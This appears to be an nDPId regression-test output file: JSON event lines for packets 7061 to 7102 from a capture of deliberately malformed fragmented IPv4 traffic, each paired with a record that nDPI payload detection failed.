+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386983,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387005,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387216,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387355,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 